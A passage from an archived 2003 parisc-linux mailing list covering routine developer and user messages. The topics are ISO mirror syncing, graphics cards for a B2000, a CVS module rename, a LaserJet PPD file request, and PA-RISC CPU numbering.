	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 08:51:50 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.7) with SMTP id h7QEpaF7008384;
	Tue, 26 Aug 2003 16:51:37 +0200
In-Reply-To: <20030825195755.GB1468@dsl2.external.hp.com>
X-Mailer: Sylpheed version 0.9.0claws (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19355

On Mon, 25 Aug 2003 13:57:55 -0600
Grant Grundler <grundler@parisc-linux.org> wrote:

> On Mon, Aug 25, 2003 at 01:50:42PM -0600, Grant Grundler wrote:
> > URLs to "net install ISOs" are on the www.parisc-linux.org web page.
> 
> The link points to:
> 	ftp://ftp.parisc-linux.org/cd-images/testing/auto-isos/
> 
> But newer images (2.4.21-pa9 kernel based) are on:
> 	http://pateam.esiee.fr/cd-images/testing/
> 
> is the "rsync" broken?
> Can someone from ESIEE fix that?
> (not urgent)

There is no "rsync"... I have to do it by hand and that's getting me
pretty bored, so I guess this would have to be scripted at some point. If
any master on dsl2 has any idea about how to do it i'd owe him a beer :P

BTW, i'll upload last image (-pa13 iirc) on both pateam and dsl2 as soon
as i'll get my lab powered back (upon tomorrow if everything goes fine).


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:28:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Tue, 26 Aug 2003 08:03:44 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20030826150344.GA2012@tausq.org>
References: <1061908796.3f4b713c1b6e3@webmail.v8fiesta.co.uk> <20030826145102.GR21328@tausq.org> <1061909796.3f4b752412e90@webmail.v8fiesta.co.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622729 30189 80.91.229.3 (22 Nov 2014 02:18:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mmogenius@v8fiesta.co.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 09:00:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 709CF4932
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 09:00:53 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 427EDCD3AF; Tue, 26 Aug 2003 08:03:44 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1061909796.3f4b752412e90@webmail.v8fiesta.co.uk>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19356

(please reply to the list, not to me privately)

In reference to a message from mmogenius@v8fiesta.co.uk, dated Aug 26:
> do we know if it is possable to add an extra graphics card to the b2000 to 
> usin instead of the internal card ?

the web page tells you that if you get a Vis-EG card it will work. there
are no "built in" graphics cards..  if you have a FX? card in your b2k,
it's a PCI card. (lspci should tell you)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux -> linux-2.4 transition
Date: Tue, 26 Aug 2003 17:00:40 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20030826160040.GM22294@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622729 30370 80.91.229.3 (22 Nov 2014 02:18:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 10:00:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D44CA494E
	for <parisc-linux@parisc-linux.org>; Tue, 26 Aug 2003 10:00:41 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19rgFM-0002k1-Lj
	for parisc-linux@parisc-linux.org; Tue, 26 Aug 2003 17:00:40 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19357

Earlier today I moved linux to linux-2.4 and set a compatibility symlink
so everything will work for the moment.  I've updated the web pages
with instructions to use linux-2.4 instead.  In the build-tools module,
you'll now find a little shell script that moves your checkout from linux
to linux-2.4.  Please run it as soon as convenient.

I intend to remove the `linux' symlink in a week's time.  At that point
any unconverted repositories will stop working.

Any problems, let me know.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hp laserjet 4mv ppd for printtool?
Date: Tue, 26 Aug 2003 18:22:49 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <3F2A5B0400005F53@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622729 30372 80.91.229.3 (22 Nov 2014 02:18:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 10:22:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C8EA4951
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 10:22:51 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19rgXp-0007Oi-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 18:19:45 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 26 Aug 2003 18:22:49 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19358

Hi all,

I just installed printtool on my b180 to print on a network connected printer
of model hp laserjet 4mv. Printtool inform me that:
"This printer uses a Postscript Printer Description (PPD) file called HP_LaserJet_4MV.ppd,
available from printer vendor. This file should be installed in the /usr/share/postscript/ppd/
directory."

Unfortunately I don't reach to find back install cd and google don't find
any reference to this file. Is somebody could help me?

Thanks in advance,
    joel

-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hp laserjet 4mv ppd for printtool?
Date: Tue, 26 Aug 2003 09:34:41 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20030826163441.GA2792@tausq.org>
References: <3F2A5B0400005F53@ocpmta1.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622730 30375 80.91.229.3 (22 Nov 2014 02:18:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 10:31:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81C484956
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 10:31:12 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id CCB91CD3AF; Tue, 26 Aug 2003 09:34:41 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3F2A5B0400005F53@ocpmta1.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19359

> I just installed printtool on my b180 to print on a network connected printer
> of model hp laserjet 4mv. Printtool inform me that:
> "This printer uses a Postscript Printer Description (PPD) file called HP_LaserJet_4MV.ppd,
> available from printer vendor. This file should be installed in the /usr/share/postscript/ppd/
> directory."
> 
> Unfortunately I don't reach to find back install cd and google don't find
> any reference to this file. Is somebody could help me?

there are a bunch at
http://www.earthsci.unibe.ch/people/kronenbe/support/printing/adobe-ps.ppd/

hplj4mv1.ppd might be the one you want.

HTH,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hp laserjet 4mv ppd for printtool?
Date: Tue, 26 Aug 2003 19:08:50 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <3F2A5B0400005F80@ocpmta1.freegates.net>
References: <20030826163441.GA2792@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622730 30377 80.91.229.3 (22 Nov 2014 02:18:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 11:08:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id B4938491A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 11:08:54 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19rhGM-0006EV-00; Tue, 26 Aug 2003 19:05:46 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 26 Aug 2003 19:08:50 +0200
In-Reply-To: <20030826163441.GA2792@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19360

>there are a bunch at
>
>> http://www.earthsci.unibe.ch/people/kronenbe/support/printing/adobe-ps.ppd/
>
>hplj4mv1.ppd might be the one you want.
>
That seems to works fine :)

Thanks a lot Randolph,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Tue, 26 Aug 2003 13:17:54 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20030826171753.GC32302@systemhalted>
References: <3F2E2C7700004E38@ocpmta2.freegates.net> <20030825164553.GB28778@dsl2.external.hp.com> <1061830247.2044.165.camel@mulgrave> <20030825191915.GA377@dsl2.external.hp.com> <1061840921.2044.368.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622730 30378 80.91.229.3 (22 Nov 2014 02:18:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:50 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 11:18:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4760495A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 11:18:41 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19rhS6-0001II-00; Tue, 26 Aug 2003 13:17:54 -0400
Content-Disposition: inline
In-Reply-To: <1061840921.2044.368.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (46% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19361

> Realistically, "logical" just means we make up a numbering scheme
> independent of what the HW tells us.  If the HW isn't telling us
> anything, then us telling the HW is fine.
> 
> The gist of the "no more logical mappings edict" is that basically we
> only have one source for CPU numbers (and it can be sparse) rather than
> two, one of which was usually compact.

I sense a Monty Python skit about '0 CPUs found' :)

HW: So how many we got today?
SW: Oh, zero.
HW: Zero?!
SW: Yeah, zaro CPU's found.
HW: Do you have an accent?
...

c.


From - Thu Nov 08 21:29:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] linux -> linux-2.4 transition
Date: Tue, 26 Aug 2003 19:34:24 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <3F2A5B0400005F9F@ocpmta1.freegates.net>
References: <20030826160040.GM22294@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622730 30382 80.91.229.3 (22 Nov 2014 02:18:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:50 +0000 (UTC)
To: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 11:34:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FD6C495E
	for <parisc-linux@parisc-linux.org>; Tue, 26 Aug 2003 11:34:27 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19rhf5-0002T3-00; Tue, 26 Aug 2003 19:31:19 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 26 Aug 2003 19:34:24 +0200
In-Reply-To: <20030826160040.GM22294@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19362

> In the build-tools module, you'll now find a little shell
> script that moves your checkout from linux
> to linux-2.4.  Please run it as soon as convenient.

Thanks a lot it works fine (just apply script and update: nice)

joel


-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Tue, 26 Aug 2003 19:54:38 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <3F2A5B0400005FBB@ocpmta1.freegates.net>
References: <20030825164553.GB28778@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622731 30386 80.91.229.3 (22 Nov 2014 02:18:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 11:54:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CEA34962
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 11:54:41 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19rhyg-00054h-00; Tue, 26 Aug 2003 19:51:34 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 26 Aug 2003 19:54:38 +0200
In-Reply-To: <20030825164553.GB28778@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19363

>> 
>The additional CPUs just reference (ie load) the shared data using
>the same address. AFAIK, a cacheline will get loaded as "shared clean"
>until someone writes to it - which is when the cacheline ping-pong
>starts.

Ok I will have to re-read and again and again (each world is very important
in this book all short-cut is fatal for a good understanding)

>> Can you tell me more: in a previous piminfo collected I got for CPU#3
(3
>> is the "address" of the second cpu)

>PAT PDC (L-/N-class and A500) have hard coded numbers for CPUs.
>parisc-linux only uses logical CPU numbers to avoid sparsely populated
>arrays. parisc-linux can get the  "Physical CPU #" from PAT PDC.
>See code inside USE_PAT_CPUID in arch/parisc/kernel/processor.c.
>You might hack that code a bit so you can correlate logic to physical
>CPU numbers.

(I would do so later), I mean i would like to find the 'psw' value in a piminfo
listing (whatever the form it is: oct, hex, bin) to learn more about cpu
status at the panic moment (sorry for confusion but English is not my mother
tongue and frequently i still have pb to make understand my thought:) )

Thanks again,
    Joel
 

-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: kernel 2.6 for hppa status?
Followup-To: gmane.linux.ports.hppa
Date: Tue, 26 Aug 2003 21:03:54 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20030826200354.GT22294__35332.1041715846$1416622731$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <200308261202100660.00729583@smtp1.sympatico.ca> <Pine.LNX.4.21.0308262125490.16192-100000@hal.pp.fishpool.fi>
Reply-To: parisc-linux@parisc-linux.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622731 30388 80.91.229.3 (22 Nov 2014 02:18:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:51 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
To: =?iso-8859-1?Q?Martin-=C9ric?= Racine <q-funk@pp.fishpool.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 14:03:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2F0C487A
	for <parisc-linux@parisc-linux.org>; Tue, 26 Aug 2003 14:03:55 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19rk2k-0006xv-Gv; Tue, 26 Aug 2003 21:03:54 +0100
Content-Disposition: inline
